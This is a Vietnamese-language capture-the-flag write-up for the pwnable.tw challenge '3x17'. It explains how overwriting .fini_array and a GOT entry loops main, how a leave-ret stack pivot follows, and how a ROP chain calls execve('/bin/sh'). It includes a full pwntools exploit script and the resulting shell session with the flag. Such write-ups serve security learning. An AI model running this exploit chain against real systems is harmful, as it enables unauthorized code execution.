3x17
Recon
Mitigation
$ pwn checksec 3x17
[*] '/home/hungnt/ctfs/pwnable.tw/3x17/3x17'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)$ file 3x17
3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, strippedBinary đã bị stripped, mà lại còn statically linked, debug khá cực.
Code
int __fastcall main(int argc, const char **argv, const char **envp)
{
int result; // eax
char *addr; // [rsp+8h] [rbp-28h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
result = (unsigned __int8)++ok;
if ( ok == 1 )
{
write(1u, "addr:", 5uLL);
read(0, buf, 24uLL);
addr = (char *)(int)atoi(buf);
write(1u, "data:", 5uLL);
read(0, addr, 24uLL);
result = 0;
}
if ( __readfsqword(0x28u) != v6 )
sub_44A3E0();
return result;
}Mặc dù checksec cho là ko có canary, nhưng ở main() vẫn gọi check canary.
Solve
Ok, mình chỉ có một AAW duy nhất, ko còn gì khác, vì binary là no PIE nên hiện mình chỉ có thể ghi vào vùng rw-p của binary.
pwndbg> vmmap 3x17
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
► 0x400000 0x401000 r--p 1000 0 3x17_patched
► 0x401000 0x48f000 r-xp 8e000 1000 3x17_patched
► 0x48f000 0x4b3000 r--p 24000 8f000 3x17_patched
► 0x4b4000 0x4ba000 rw-p 6000 b3000 3x17_patched
0x4ba000 0x4bb000 rw-p 1000 0 [anon_004ba]Mình phải tìm được cách nào đó chuyển luồng thực thi về lại hàm main() để có thể AAW nhiều lần.
Ban đầu, mình break tại tất cả hàm mà các got entry trỏ đến:
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /home/hungnt/ctfs/pwnable.tw/3x17/3x17_patched:
GOT protection: Partial RELRO | Found 23 GOT entries passing the filter
[0x4b7018] *ABS*+0x420b90 -> 0x4413b0 ◂— mov rcx, rsi
[0x4b7020] *ABS*+0x46f150 -> 0x4708a0 ◂— test rsi, rsi
[0x4b7028] *ABS*+0x4216c0 -> 0x444860 ◂— mov rax, rdi
[0x4b7030] *ABS*+0x421a20 -> 0x428eb0 ◂— mov ecx, edi
[0x4b7038] *ABS*+0x421960 -> 0x444860 ◂— mov rax, rdi
[0x4b7040] *ABS*+0x470bc0 -> 0x4718b0 ◂— mov ecx, edi
[0x4b7048] *ABS*+0x46f180 -> 0x4704b0 ◂— movd xmm4, esi
[0x4b7050] *ABS*+0x4218e0 -> 0x4419e0 ◂— mov rcx, rsi
[0x4b7058] *ABS*+0x421a50 -> 0x43dd10 ◂— mov ecx, edi
[0x4b7060] *ABS*+0x46f220 -> 0x46fef0 ◂— test rdx, rdx
[0x4b7068] *ABS*+0x421640 -> 0x443b20 ◂— movzx eax, byte ptr [rsi]
[0x4b7070] *ABS*+0x420c60 -> 0x4287a0 ◂— cmp rdx, 1
[0x4b7078] *ABS*+0x421660 -> 0x4293f0 ◂— cmp rdx, 0x20
[0x4b7080] *ABS*+0x421910 -> 0x43c050 ◂— mov rax, qword ptr [rdx]
[0x4b7088] *ABS*+0x421780 -> 0x445370 ◂— vmovd xmm0, esi
[0x4b7090] *ABS*+0x4712f0 -> 0x471a60 ◂— test rsi, rsi
[0x4b7098] *ABS*+0x420b40 -> 0x4243d0 ◂— mov eax, edi
[0x4b70a0] *ABS*+0x470c10 -> 0x445300 ◂— shl rdx, 2
[0x4b70a8] *ABS*+0x421820 -> 0x444850 ◂— mov rax, rdi
[0x4b70b0] *ABS*+0x420bc0 -> 0x444060 ◂— cmp byte ptr [rsi], 0
[0x4b70b8] *ABS*+0x481a20 -> 0x481b40 ◂— cmp byte ptr [rsi], 0
[0x4b70c0] *ABS*+0x420c30 -> 0x43e0a0 ◂— mov ecx, edi
[0x4b70c8] *ABS*+0x420b00 -> 0x43dae0 ◂— mov ecx, ediNhưng ko thấy chương trình break ở đâu cả. Lúc này mình chịu, sau một hồi tìm gợi ý với perplexity thì mình thấy rằng có thể ghi đè .fini_array để chương trình nhảy ngược lại về main() sau khi main() return và gọi exit(). Nằm tại địa chỉ sau:
$ readelf -S ./3x17 | grep fini
[ 8] .fini PROGBITS 000000000048e32c 0008e32c
[16] .fini_array FINI_ARRAY 00000000004b40f0 000b30f0pwndbg> tele 0x00000000004b40f0
00:0000│ 0x4b40f0 —▸ 0x401b00 ◂— cmp byte ptr [rip + 0xb77d9], 0
01:0008│ 0x4b40f8 —▸ 0x401580 ◂— mov rax, qword ptr [rip + 0xb8b11]
02:0010│ 0x4b4100 ◂— 0xd00000002
03:0018│ 0x4b4108 —▸ 0x48f7e0 ◂— 0
04:0020│ 0x4b4110 —▸ 0x48f7c0 ◂— 0x100000000
05:0028│ 0x4b4118 ◂— 0
06:0030│ 0x4b4120 —▸ 0x4b6460 ◂— 0
07:0038│ 0x4b4128 ◂— 1Ok rồi mình định nhảy về đầu của hàm main(), nhưng do biến check ok trước khi AAW nên nó return luôn. Nên mình phải nhảy về main+0x36 để AAW. Nhưng đời ko như mơ, bởi vì mình nhảy đến giữa hàm main(), nên giá trị canary chưa được đặt trên stack, canary bị sai làm chương trình bị terminated, ko gọi exit() để đi đến .fini_array.
Ko còn đường nào khác, mình lại thử break tại tất cả hàm mà các got entry trỏ đến như lúc đầu, kết quả là nó break tại đây:
[0x4b7058] *ABS*+0x421a50 -> 0x43dd10 ◂— mov ecx, ediHàm này được gọi đâu đó trong khi đang chuẩn bị terminate chương trình, mình lại ghi đè nó đến main+0x36, thế là ngon luôn, AAW tẹt ga.
Ok đến bây giờ mình vẫn chỉ có thể ghi vào từ 0x4b4000 đến 0x4bb000 vì mình chưa biết địa chỉ nào khác cả. Mình có ý tưởng là ghi ROP chain vào vùng này, và làm thế nào đó pivot stack lên đó để thực thi được ROP. Nhưng, ở mỗi lần AAW xong thì cả RSP và RBP đều ở trên stack, ko sao pivot được.
Ngồi một lúc thì mình mở to mắt và thấy sau khi mình ghi đè .fini_array đến main+0x36, thì ngay trước khi call đến main+0x36 thì RBP đang ở 0x4b40f0, chính là .fini_array.

Mình tìm ngược lại xem ở đoạn nào mà RBP được đặt về giá trị này trước khi gọi main+0x36.

Ok ngon rồi, mình chỉ cần ghi đè got entry trỏ về đây. Thì lúc terminate do sai canary, chương trình nhảy về đây để đặt RBP đến 0x4b40f0, sau đó call đến .fini_array. Vậy mình sẽ ghi ROP chain bắt đầu tại 0x4b40f0 bắt đầu với gadget leave ; ret để pivot stack đến đó thực thi các gadget còn lại rồi cuối cùng spawn shell.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("3x17_patched", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
# b *0x4413b0
# b *0x4708a0
# b *0x444860
# b *0x428eb0
# b *0x4718b0
# b *0x4704b0
# b *0x4419e0
# b *0x43dd10
# b *0x46fef0
# b *0x443b20
# b *0x4287a0
# b *0x4293f0
# b *0x43c050
# b *0x445370
# b *0x471a60
# b *0x4243d0
# b *0x445300
# b *0x444850
# b *0x444060
# b *0x481b40
# b *0x43e0a0
# b *0x43dae0
# b *0x401b00
# b *0x402988
b *0x402960
# b *0x401580
# b *0x402281
# b *0x401a50
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(1)
return p
else:
host = "chall.pwnable.tw"
port = 10105
return remote(host, port)
p = conn()
def write(addr, data):
slan(p, b'addr', addr)
sa(p, b'data', data)
sleep(0.1)
fini_array = 0x4b40f0
main_0x36 = 0x401ba3
got_entry = 0x4b7058
write(fini_array, p64(main_0x36))
write(got_entry, p64(main_0x36))
pop_rax = 0x41e4af
pop_rdi = 0x401696
pop_rsi = 0x406c30
pop_rdx = 0x446e35
syscall = 0x4022b4
leave = 0x401c4b
nop = 0x401aaf
a = [p64(leave),
p64(nop),
p64(pop_rdi), p64(fini_array + 8 * 11),
p64(pop_rsi), p64(0),
p64(pop_rdx), p64(0),
p64(pop_rax), p64(0x3b),
p64(syscall),
b'/bin/sh\0']
for i in range(len(a)):
write(fini_array + 8 * i, a[i])
stack_pivot_to_bss = 0x402961
write(got_entry, p64(stack_pivot_to_bss))
rr(p, 1)
ia(p)$ py solve.py
[+] Opening connection to chall.pwnable.tw on port 10105: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd home
$ ls
3x17
$ cd 3x17
$ ls
3x17
run.sh
the_4ns_is_51_fl4g
$ cat the_4ns_is_51_fl4g
FLAG{Its_just_a_b4by_c4ll_0riented_Pr0gramm1ng_in_3xit}